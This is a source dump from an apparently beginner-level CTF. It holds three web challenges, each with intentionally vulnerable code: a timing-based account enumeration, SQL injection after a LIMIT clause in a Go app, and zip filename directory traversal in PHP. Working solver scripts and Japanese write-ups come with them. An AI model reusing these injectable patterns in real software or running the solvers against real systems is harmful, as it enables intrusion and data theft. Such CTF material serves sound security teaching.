db.get_all_employees() 19 | 20 | # ==================== 21 | 22 | @app.route("/", methods=["GET", "POST"]) 23 | def index(): 24 | t = time.perf_counter() 25 | 26 | if request.method == "GET": 27 | return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) 28 | 29 | if request.method == "POST": 30 | name = request.form["name"] 31 | password = request.form["password"] 32 | 33 | exists, account = db.get_account(name) 34 | 35 | if not exists: 36 | return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) 37 | 38 | # auth.calcpassword_hash(salt, password) adds salt and performs stretching more than a million times. 39 | # You know, it's really secure... isn't it? :-) 40 | hashed_password = auth.calc_password_hash(app.SALT, password) 41 | if hashed_password != account.password: 42 | return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) 43 | 44 | session["name"] = name 45 | return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) 46 | 47 | # ==================== 48 | 49 | @app.route("/challenge", methods=["GET", "POST"]) 50 | def challenge(): 51 | t = time.perf_counter() 52 | 53 | if request.method == "GET": 54 | return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) 55 | 56 | if request.method == "POST": 57 | answer = request.form.getlist("answer") 58 | 59 | # If you can enumerate all accounts, I'll give you FLAG! 60 | if set(answer) == set(account.name for account in db.get_all_accounts()): 61 | message = app.FLAG 62 | else: 63 | message = "Wrong!!" 64 | 65 | return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) 66 | 67 | # ==================== 68 | 69 | if __name__ == '__main__': 70 | db.init() 71 | app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT")) -------------------------------------------------------------------------------- /web/spy/files/employees.txt: -------------------------------------------------------------------------------- 1 | Arthur 2 | Barbara 3 | Christine 4 | David 5 | Elbert 6 | Franklin 7 | George 8 | Harris 9 | Ivan 10 | Jane 11 | Kevin 12 | Lazarus 13 | Marc 14 | Nathan 15 | Oliver 16 | Paul 17 | Quentin 18 | Randolph 19 | Scott 20 | Tony 21 | Ulysses 22 | Vincent 23 | Wat 24 | Ximena 25 | Yvonne 26 | Zalmon -------------------------------------------------------------------------------- /web/spy/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | COPY . . 4 | RUN pip install -r ./requirements.txt 5 | 6 | # ENV CTF4B_HOST=spy.quals.beginners.seccon.jp 7 | # ENV CTF4B_PORT=80 8 | 9 | CMD ["python", "/solver.py"] -------------------------------------------------------------------------------- /web/spy/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.23.0 2 | beautifulsoup4==4.9.0 -------------------------------------------------------------------------------- /web/spy/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import requests 4 | from bs4 import BeautifulSoup 5 | 6 | 7 | def enumarate_accounts(): 8 | session = requests.Session() 9 | employees = [ 10 | "Arthur", "Barbara", "Christine", "David", "Elbert", 11 | "Franklin", "George", "Harris", "Ivan", "Jane", 12 | "Kevin", "Lazarus", "Marc", "Nathan", "Oliver", 13 | "Paul", "Quentin", "Randolph", "Scott", "Tony", 14 | "Ulysses", "Vincent", "Wat", "Ximena", "Yvonne", "Zalmon" 15 | ] 16 | 17 | T = [] 18 | for employee in employees: 19 | response = session.post(f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}", {"name": f"{employee}", "password": "x"}) 20 | soup = BeautifulSoup(response.text, "html.parser") 21 | consume = float(soup.select('p')[0].text.split()[2]) 22 | 23 | T.append((employee, consume)) 24 | 25 | T.sort(key=lambda t: t[1], reverse=True) 26 | 27 | maxdiff = 0 28 | maxdiff_i = -1 29 | for i in range(1, len(T)): 30 | if abs(T[i][1] - T[i-1][1]) > maxdiff: 31 | maxdiff = abs(T[i][1] - T[i-1][1]) 32 | maxdiff_i = i 33 | 34 | return sorted([employee for employee, consume in T[:maxdiff_i]]) 35 | 36 | 37 | def solve(accounts): 38 | response = requests.post(f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/challenge", {"answer": accounts}) 39 | soup = BeautifulSoup(response.text, "html.parser") 40 | print(f"[*] FLAG: {soup.select('#message')[0].text}") 41 | 42 | 43 | def main(): 44 | accounts = enumarate_accounts() 45 | print(f"[*] Registered accounts: {', '.join(accounts)}") 46 | solve(accounts) 47 | 48 | 49 | if __name__ == '__main__': 50 | main() -------------------------------------------------------------------------------- /web/spy/writeup.md: -------------------------------------------------------------------------------- 1 | アカウントが存在する場合と存在しない場合で認証処理に時間差が発生することを利用する。 2 | 3 | まず、下記の処理によって認証処理に時間がかかるアカウントを抽出する。 4 | 5 | この時、処理時間が最も離れている2つのアカウント間でリストを分割し、処理時間が長い方のリストに含まれるアカウントを登録されているものとして扱う。 6 | 7 | ```python 8 | def enumarate_accounts(): 9 | employees = [ 10 | "Arthur", "Barbara", "Christine", "David", "Elbert", 11 | "Franklin", "George", "Harris", "Ivan", "Jane", 12 | "Kevin", "Lazarus", "Marc", "Nathan", "Oliver", 13 | "Paul", "Quentin", "Randolph", "Scott", "Tony", 14 | "Ulysses", "Vincent", "Wat", "Ximena", "Yvonne", "Zalmon" 15 | ] 16 | 17 | T = [] 18 | for employee in employees: 19 | t = time.time() 20 | _ = requests.post(f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}", {"name": f"{employee}", "password": "x"}) 21 | consume = time.time() - t 22 | 23 | T.append((employee, consume)) 24 | 25 | T.sort(key=lambda t: t[1], reverse=True) 26 | 27 | maxdiff = 0 28 | maxdiff_i = -1 29 | for i in range(1, len(T)): 30 | if abs(T[i][1] - T[i-1][1]) > maxdiff: 31 | maxdiff = abs(T[i][1] - T[i-1][1]) 32 | maxdiff_i = i 33 | 34 | return sorted([employee for employee, consume in T[:maxdiff_i]]) 35 | ``` 36 | 37 | 上記の処理によって登録されたアカウントを列挙した後は、それらを選択し`/challenge`にPOSTすれば良い。 38 | 39 | ```python 40 | def solve(accounts): 41 | response = requests.post(f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/challenge", {"answer": accounts}) 42 | soup = BeautifulSoup(response.text, "html.parser") 43 | print(f"[*] FLAG: {soup.select('#message')[0].text}") 44 | ``` -------------------------------------------------------------------------------- /web/tweetstore/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{is_postgres_your_friend?} -------------------------------------------------------------------------------- /web/tweetstore/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 問題文 4 | Search your flag! 5 | 6 | # 難易度 7 | 8 | 自明かそれより少し難しい程度 9 | 10 | 11 | # アイディア 12 | 13 | limit句以降のSQL Injectionにおいて複文実行が可能な場合の攻撃手段は自明だが、 14 | 複文実行が不可能な場合においては古いDBで無い限りそこまで自明ではない(と思っているが嘘かもしれない) 15 | 16 | Postgresではlimit句以降でもサブクエリが使えるため、ascii句を用いてどのようにユーザ名を抽出するか、を問題とする。 17 | 18 | 正しく検索すれば答えのヒントとなる情報がおおよそ得られるので、それを活用してどのようにフラグを得るか考えてもらうという点で、 19 | Beginners向けとして(自明かそれよりちょっと難しい程度の問題として)よいのではなかろうか。 20 | 21 | 22 | # 参考 23 | https://www.noob.ninja/2019/07/exploiting-tricky-blind-sql-injection.html 24 | 25 | -------------------------------------------------------------------------------- /web/tweetstore/build/Makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | all: webserver 6 | 7 | clean: 8 | rm -f webapp/app/webserver 9 | 10 | webserver: 11 | CGO_ENABLED=0 go build -o webapp/app/webserver src/webserver.go 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/tweetstore/build/db/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM postgres:12 2 | 3 | MAINTAINER Yutaka WATANABE25 |50 |26 | 48 |49 |4 | 5 | ADD ["./init-db.sh", "/docker-entrypoint-initdb.d/init-db.sh"] 6 | 7 | -------------------------------------------------------------------------------- /web/tweetstore/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.4' 2 | 3 | services: 4 | db: 5 | build: ./db 6 | restart: always 7 | environment: 8 | - POSTGRES_PASSWORD=root 9 | - POSTGRES_USER=password 10 | - POSTGRES_CTF_PASSWORD=password 11 | - POSTGRES_CTF_USER=ctf4b{is_postgres_your_friend?} 12 | - POSTGRES_DB=ctf 13 | networks: 14 | - ctf 15 | 16 | 17 | webserver: 18 | build: ./webapp 19 | restart: always 20 | depends_on: 21 | - db 22 | volumes: 23 | - ./log/:/log 24 | ports: 25 | - 8080:8080 26 | environment: 27 | - FLAG=ctf4b{is_postgres_your_friend?} 28 | networks: 29 | - ctf 30 | 31 | networks: 32 | ctf: 33 | 34 | -------------------------------------------------------------------------------- /web/tweetstore/build/log/access_log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/tweetstore/build/log/access_log -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.14-alpine as builder 2 | 3 | WORKDIR /go/src/app 4 | COPY . . 5 | 6 | RUN go get && \ 7 | CGO_ENABLED=0 go build -a -tags "netgo" -installsuffix netgo -ldflags="-s -w -extldflags \"-static\"" -o=/webserver 8 | 9 | FROM scratch 10 | MAINTAINER Yutaka WATANABE 11 | 12 | COPY --from=builder /webserver /webserver 13 | COPY ./templates /templates 14 | 15 | USER 1000:1000 16 | CMD ["/webserver"] 17 | -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SECCON/web/tweetstore/build/webapp 2 | 3 | go 1.14 4 | 5 | require ( 6 | github.com/gorilla/handlers v1.4.2 7 | github.com/gorilla/mux v1.7.4 8 | github.com/lib/pq v1.4.0 9 | ) 10 | -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/go.sum: -------------------------------------------------------------------------------- 1 | github.com/gorilla/handlers v1.4.2 h1:0QniY0USkHQ1RGCLfKxeNHK9bkDHGRYGNDFBCS+YARg= 2 | github.com/gorilla/handlers v1.4.2/go.mod h1:Qkdc/uu4tH4g6mTK6auzZ766c4CA0Ng8+o/OAirnOIQ= 3 | github.com/gorilla/mux v1.7.4 h1:VuZ8uybHlWmqV03+zRzdwKL4tUnIp1MAQtp1mIFE1bc= 4 | github.com/gorilla/mux v1.7.4/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= 5 | github.com/lib/pq v1.4.0 h1:TmtCFbH+Aw0AixwyttznSMQDgbR5Yed/Gg6S8Funrhc= 6 | github.com/lib/pq v1.4.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= 7 | -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/log/access_log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/tweetstore/build/webapp/log/access_log -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |12 | 13 |ctf4b tweet store
11 |14 |30 | 31 |15 | 28 |29 |32 |37 | 38 |33 |36 |{{ len .}} of 200 tweets are displayed. enjoy!
34 | 35 |39 |56 | 57 | 58 | -------------------------------------------------------------------------------- /web/tweetstore/build/webapp/webserver.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | "strings" 9 | "time" 10 | 11 | "database/sql" 12 | "html/template" 13 | "net/http" 14 | 15 | "github.com/gorilla/handlers" 16 | "github.com/gorilla/mux" 17 | 18 | _"github.com/lib/pq" 19 | ) 20 | 21 | var tmplPath = "./templates/" 22 | 23 | var db *sql.DB 24 | 25 | type Tweets struct { 26 | Url string 27 | Text string 28 | Tweeted_at time.Time 29 | } 30 | 31 | func handler_index(w http.ResponseWriter, r *http.Request) { 32 | 33 | tmpl, err := template.ParseFiles(tmplPath + "index.html") 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | 38 | var sql = "select url, text, tweeted_at from tweets" 39 | 40 | search, ok := r.URL.Query()["search"] 41 | if ok { 42 | sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" 43 | } 44 | 45 | sql += " order by tweeted_at desc" 46 | 47 | limit, ok := r.URL.Query()["limit"] 48 | if ok && (limit[0] != "") { 49 | sql += " limit " + strings.Split(limit[0], ";")[0] 50 | } 51 | 52 | var data []Tweets 53 | 54 | 55 | ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) 56 | defer cancel() 57 | 58 | rows, err := db.QueryContext(ctx, sql) 59 | if err != nil{ 60 | http.Error(w, http.StatusText(500), 500) 61 | return 62 | } 63 | 64 | for rows.Next() { 65 | var text string 66 | var url string 67 | var tweeted_at time.Time 68 | 69 | err := rows.Scan(&url, &text, &tweeted_at) 70 | if err != nil { 71 | http.Error(w, http.StatusText(500), 500) 72 | return 73 | } 74 | data = append(data, Tweets{url, text, tweeted_at}) 75 | } 76 | 77 | tmpl.Execute(w, data) 78 | } 79 | 80 | func initialize() { 81 | var err error 82 | 83 | dbname := "ctf" 84 | dbuser := os.Getenv("FLAG") 85 | dbpass := "password" 86 | 87 | connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) 88 | db, err = sql.Open("postgres", connInfo) 89 | if err != nil { 90 | log.Fatal(err) 91 | } 92 | } 93 | 94 | func main() { 95 | 96 | initialize() 97 | 98 | r := mux.NewRouter() 99 | r.HandleFunc("/", handler_index).Methods("GET") 100 | 101 | http.Handle("/", r) 102 | http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) 103 | } 104 | -------------------------------------------------------------------------------- /web/tweetstore/files/webserver.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | "strings" 9 | "time" 10 | 11 | "database/sql" 12 | "html/template" 13 | "net/http" 14 | 15 | "github.com/gorilla/handlers" 16 | "github.com/gorilla/mux" 17 | 18 | _"github.com/lib/pq" 19 | ) 20 | 21 | var tmplPath = "./templates/" 22 | 23 | var db *sql.DB 24 | 25 | type Tweets struct { 26 | Url string 27 | Text string 28 | Tweeted_at time.Time 29 | } 30 | 31 | func handler_index(w http.ResponseWriter, r *http.Request) { 32 | 33 | tmpl, err := template.ParseFiles(tmplPath + "index.html") 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | 38 | var sql = "select url, text, tweeted_at from tweets" 39 | 40 | search, ok := r.URL.Query()["search"] 41 | if ok { 42 | sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" 43 | } 44 | 45 | sql += " order by tweeted_at desc" 46 | 47 | limit, ok := r.URL.Query()["limit"] 48 | if ok && (limit[0] != "") { 49 | sql += " limit " + strings.Split(limit[0], ";")[0] 50 | } 51 | 52 | var data []Tweets 53 | 54 | 55 | ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) 56 | defer cancel() 57 | 58 | rows, err := db.QueryContext(ctx, sql) 59 | if err != nil{ 60 | http.Error(w, http.StatusText(500), 500) 61 | return 62 | } 63 | 64 | for rows.Next() { 65 | var text string 66 | var url string 67 | var tweeted_at time.Time 68 | 69 | err := rows.Scan(&url, &text, &tweeted_at) 70 | if err != nil { 71 | http.Error(w, http.StatusText(500), 500) 72 | return 73 | } 74 | data = append(data, Tweets{url, text, tweeted_at}) 75 | } 76 | 77 | tmpl.Execute(w, data) 78 | } 79 | 80 | func initialize() { 81 | var err error 82 | 83 | dbname := "ctf" 84 | dbuser := os.Getenv("FLAG") 85 | dbpass := "password" 86 | 87 | connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) 88 | db, err = sql.Open("postgres", connInfo) 89 | if err != nil { 90 | log.Fatal(err) 91 | } 92 | } 93 | 94 | func main() { 95 | 96 | initialize() 97 | 98 | r := mux.NewRouter() 99 | r.HandleFunc("/", handler_index).Methods("GET") 100 | 101 | http.Handle("/", r) 102 | http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) 103 | } 104 | -------------------------------------------------------------------------------- /web/tweetstore/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.14-alpine as builder 2 | 3 | WORKDIR /go/src/app 4 | COPY src . 5 | RUN go get && \ 6 | CGO_ENABLED=0 go build -a -tags "netgo" -installsuffix netgo -ldflags="-s -w -extldflags \"-static\"" -o=/solver 7 | 8 | FROM scratch 9 | MAINTAINER Yutaka WATANABE40 |55 |41 |
54 |42 | 46 | {{range $idx, $item := .}} 47 |link 43 |text 44 |Tweeted_at 45 |48 | 52 | {{end}} 53 |Watch@Twitter 49 |{{$item.Text}} 50 |{{$item.Tweeted_at}} 51 |10 | 11 | COPY --from=builder /solver /solver 12 | CMD ["/solver"] 13 | -------------------------------------------------------------------------------- /web/tweetstore/solver/Makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | all: solver 6 | 7 | clean: 8 | rm -f bin/solver 9 | 10 | solver: 11 | CGO_ENABLED=0 go build -o bin/solver src/solver.go 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/tweetstore/solver/src/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SECCON/2020_beginnersctf_ctf/web/tweetstore/solver/src 2 | 3 | go 1.14 4 | 5 | require github.com/PuerkitoBio/goquery v1.5.1 6 | -------------------------------------------------------------------------------- /web/tweetstore/solver/src/go.sum: -------------------------------------------------------------------------------- 1 | github.com/PuerkitoBio/goquery v1.5.1 h1:PSPBGne8NIUWw+/7vFBV+kG2J/5MOjbzc7154OaKCSE= 2 | github.com/PuerkitoBio/goquery v1.5.1/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc= 3 | github.com/andybalholm/cascadia v1.1.0 h1:BuuO6sSfQNFRu1LppgbD25Hr2vLYW25JvxHs5zzsLTo= 4 | github.com/andybalholm/cascadia v1.1.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y= 5 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 6 | golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 7 | golang.org/x/net v0.0.0-20200202094626-16171245cfb2 h1:CCH4IOTTfewWjGOlSp+zGcjutRKlBEZQ6wTn8ozI/nI= 8 | golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 9 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 10 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 11 | -------------------------------------------------------------------------------- /web/tweetstore/solver/src/solver.go: -------------------------------------------------------------------------------- 1 | 2 | package main 3 | 4 | 5 | import( 6 | "fmt" 7 | "os" 8 | "strconv" 9 | "net/url" 10 | "log" 11 | "net/http" 12 | "github.com/PuerkitoBio/goquery" 13 | ) 14 | 15 | 16 | func main() { 17 | 18 | var flag string 19 | 20 | host := os.Getenv("CTF4B_HOST") 21 | port := os.Getenv("CTF4B_PORT") 22 | var baseUrl = "http://" + host + ":" + port + "/?limit=" 23 | 24 | for i := 0;; i++ { 25 | 26 | q := "ascii(substr((select user)," + strconv.Itoa(i+1) + ",1));" 27 | url := baseUrl + url.QueryEscape(q) 28 | 29 | resp, err := http.Get(url) 30 | if err != nil{ 31 | panic(err) 32 | } 33 | defer resp.Body.Close() 34 | 35 | dom, err := goquery.NewDocumentFromReader(resp.Body) 36 | if err != nil { 37 | panic(err) 38 | } 39 | 40 | val, ok := dom.Find("input#nTweets").Attr("value") 41 | if !ok { 42 | log.Fatal("parse error") 43 | } 44 | 45 | num, err := strconv.Atoi(val) 46 | if err != nil { 47 | panic(err) 48 | } 49 | c := string(num) 50 | flag += c 51 | if c == "}" { 52 | break 53 | } 54 | } 55 | 56 | fmt.Println(flag) 57 | } 58 | 59 | -------------------------------------------------------------------------------- /web/tweetstore/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 解法 4 | 5 | ## 1. 配布されるソースコードを読む 6 | 7 | - limit句以降にSQL Injectionがあることが確認できる。またDBはpostgresである. 8 | -- ただし,複文実行対策のため";"でsplitし先頭だけがSQL文に連結される. 9 | - DBのユーザ名がFLAGである 10 | -- 方針として,SQL Injectionを用いてどのようにuser名を取ればいいか,となる 11 | 12 | ## 2. limit句以降のSQL Injectionについて考える 13 | 14 | postgresでは,limit句の後ろでもサブクエリが使える. 15 | そこで,以下のように SQL Injectionを行い,検索結果の数を見ることでuserのn番目の文字が何であるか,を特定することができる. 16 | 17 | ``` 18 | .. limit ascii(substr((select user), n, 1); 19 | ``` 20 | 21 | ## 3. solverを書く 22 | おわり 23 | 24 | 25 | 26 | # 後日談 27 | 28 | 作問ミスをしており,searchパラメータ経由でもSQLインジェクションが可能であった.この場合,上記のpostgresに依存した解法ではなく,UNION句を用いた一般的なインジェクションが可能であった. 29 | -------------------------------------------------------------------------------- /web/unzip/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35} -------------------------------------------------------------------------------- /web/unzip/README.md: -------------------------------------------------------------------------------- 1 | # Unzip 2 | 3 | ## 問題文 4 | 5 | Unzip Your .zip Archive Like a Pro. 6 | <環境への URL> 7 | 8 | ## 難易度 9 | 10 | 自明問枠(脆弱性が自明なので)。 11 | 12 | ## 動作 13 | 14 | 以下のコマンドで起動する。 15 | 16 | ```sh 17 | docker-compose up -d --build 18 | ``` 19 | 20 | 動作は次のようにして確認できる。 21 | 22 | ```sh 23 | curl http://localhost:10000/ 24 | ``` 25 | 26 | ## アイデア 27 | 28 | .zip アーカイブ中のファイル名には `../` のような文字列を入れられるため、これを使って directory traversal をしてもらう。 29 | -------------------------------------------------------------------------------- /web/unzip/build/.gitignore: -------------------------------------------------------------------------------- 1 | uploads/* 2 | .env -------------------------------------------------------------------------------- /web/unzip/build/_env: -------------------------------------------------------------------------------- 1 | APP_PORT=10000 -------------------------------------------------------------------------------- /web/unzip/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | build: ./docker/nginx 6 | ports: 7 | - "$APP_PORT:80" 8 | depends_on: 9 | - php-fpm 10 | volumes: 11 | - ./storage/logs/nginx:/var/log/nginx 12 | - ./public:/var/www/web 13 | environment: 14 | TZ: "Asia/Tokyo" 15 | restart: always 16 | 17 | php-fpm: 18 | build: ./docker/php-fpm 19 | env_file: .env 20 | working_dir: /var/www/web 21 | environment: 22 | TZ: "Asia/Tokyo" 23 | volumes: 24 | - ./public:/var/www/web 25 | - ./uploads:/uploads 26 | - ./flag.txt:/flag.txt 27 | restart: always 28 | -------------------------------------------------------------------------------- /web/unzip/build/docker/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.13.8-alpine 2 | 3 | COPY conf/nginx.conf /etc/nginx/nginx.conf 4 | COPY conf/default.conf /etc/nginx/conf.d/default.conf 5 | -------------------------------------------------------------------------------- /web/unzip/build/docker/nginx/conf/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | server_tokens off; 3 | listen 80; 4 | server_name _; 5 | 6 | root /var/www/web; 7 | 8 | access_log /var/log/nginx/access.log; 9 | error_log /var/log/nginx/error.log; 10 | 11 | add_header X-Content-Type-Options 'nosniff' always; 12 | gzip on; 13 | gzip_types text/css application/javascript application/json application/font-woff application_font-tff image/gif image/png image/jpeg application/octet-stream; 14 | 15 | proxy_http_version 1.1; 16 | proxy_set_header host $host; 17 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 18 | proxy_set_header X-Forwarded-Host $host; 19 | proxy_set_header X-Forwarded-Server $host; 20 | proxy_set_header X-Real-IP $remote_addr; 21 | 22 | sendfile off; 23 | etag off; 24 | location / { 25 | index index.html index.php; 26 | limit_req zone=limit_req_by_ip burst=10; 27 | } 28 | 29 | location ~ \.php$ { 30 | fastcgi_split_path_info ^(.+\.php)(\.+)$; 31 | limit_req zone=limit_req_by_ip burst=10; 32 | include fastcgi_params; 33 | fastcgi_index index.php; 34 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 35 | fastcgi_pass php-fpm:9000; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /web/unzip/build/docker/nginx/conf/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes 1; 3 | 4 | error_log /var/log/nginx/error.log warn; 5 | pid /var/run/nginx.pid; 6 | 7 | events { 8 | worker_connections 1024; 9 | } 10 | 11 | http { 12 | limit_req_zone $binary_remote_addr zone=limit_req_by_ip:10m rate=5r/s; 13 | limit_req_log_level error; 14 | limit_req_status 429; 15 | 16 | include /etc/nginx/mime.types; 17 | default_type application/octet-stream; 18 | 19 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 20 | '$status $body_bytes_sent "$http_referer" ' 21 | '"$http_user_agent" "$http_x_forwarded_for"'; 22 | 23 | access_log /var/log/nginx/access.log main; 24 | 25 | sendfile on; 26 | #tcp_nopush on; 27 | 28 | keepalive_timeout 65; 29 | 30 | gzip on; 31 | 32 | include /etc/nginx/conf.d/*.conf; 33 | 34 | map $sent_http_content_type $expires { 35 | default off; 36 | image/jpeg 24h; 37 | image/png 24h; 38 | image/gif 24h; 39 | application/javascript 24h; 40 | text/css 24h; 41 | } 42 | expires $expires; 43 | } 44 | -------------------------------------------------------------------------------- /web/unzip/build/docker/php-fpm/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2.0-fpm-alpine 2 | 3 | RUN apk add --update-cache libzip-dev && \ 4 | docker-php-ext-install zip && \ 5 | rm -rf /var/cache/apk/* 6 | 7 | ADD www.conf /usr/local/etc/php-fpm.d/www.conf -------------------------------------------------------------------------------- /web/unzip/build/flag.txt: -------------------------------------------------------------------------------- 1 | ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35} -------------------------------------------------------------------------------- /web/unzip/build/public/index.php: -------------------------------------------------------------------------------- 1 | 1000) { 31 | echo "the size of uploaded file exceeds 1000 bytes."; 32 | die(); 33 | } 34 | 35 | // try to open uploaded file as zip 36 | $zip = new ZipArchive; 37 | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { 38 | echo "failed to open your zip."; 39 | die(); 40 | } 41 | 42 | 43 | // check the size of unzipped files 44 | $extracted_zip_size = 0; 45 | for ($i = 0; $i < $zip->numFiles; $i++) 46 | $extracted_zip_size += $zip->statIndex($i)["size"]; 47 | 48 | if ($extracted_zip_size > 1000) { 49 | echo "the total size of extracted files exceeds 1000 bytes."; 50 | die(); 51 | } 52 | 53 | // extract 54 | $zip->extractTo($user_dir); 55 | 56 | // add files to $_SESSION["files"] 57 | for ($i = 0; $i < $zip->numFiles; $i++) { 58 | $s = $zip->statIndex($i); 59 | if (!in_array($s["name"], $_SESSION["files"], TRUE)) { 60 | $_SESSION["files"][] = $s["name"]; 61 | } 62 | } 63 | 64 | $zip->close(); 65 | } 66 | ?> 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 85 | 86 | 87 | 88 |96 | 97 | 98 | 99 | 100 |
89 |Unzip
90 |91 |95 |92 | Unzip Your .zip Archive Like a Pro 93 |
94 |101 |120 | 121 |102 |119 |Upload
103 | 118 |122 |131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /web/unzip/build/storage/logs/.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | -------------------------------------------------------------------------------- /web/unzip/build/storage/logs/nginx/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/unzip/build/storage/logs/nginx/.gitkeep -------------------------------------------------------------------------------- /web/unzip/files/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/unzip/files/.gitignore -------------------------------------------------------------------------------- /web/unzip/files/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | build: ./docker/nginx 6 | ports: 7 | - "$APP_PORT:80" 8 | depends_on: 9 | - php-fpm 10 | volumes: 11 | - ./storage/logs/nginx:/var/log/nginx 12 | - ./public:/var/www/web 13 | environment: 14 | TZ: "Asia/Tokyo" 15 | restart: always 16 | 17 | php-fpm: 18 | build: ./docker/php-fpm 19 | env_file: .env 20 | working_dir: /var/www/web 21 | environment: 22 | TZ: "Asia/Tokyo" 23 | volumes: 24 | - ./public:/var/www/web 25 | - ./uploads:/uploads 26 | - ./flag.txt:/flag.txt 27 | restart: always 28 | -------------------------------------------------------------------------------- /web/unzip/files/index.php: -------------------------------------------------------------------------------- 1 | 1000) { 31 | echo "the size of uploaded file exceeds 1000 bytes."; 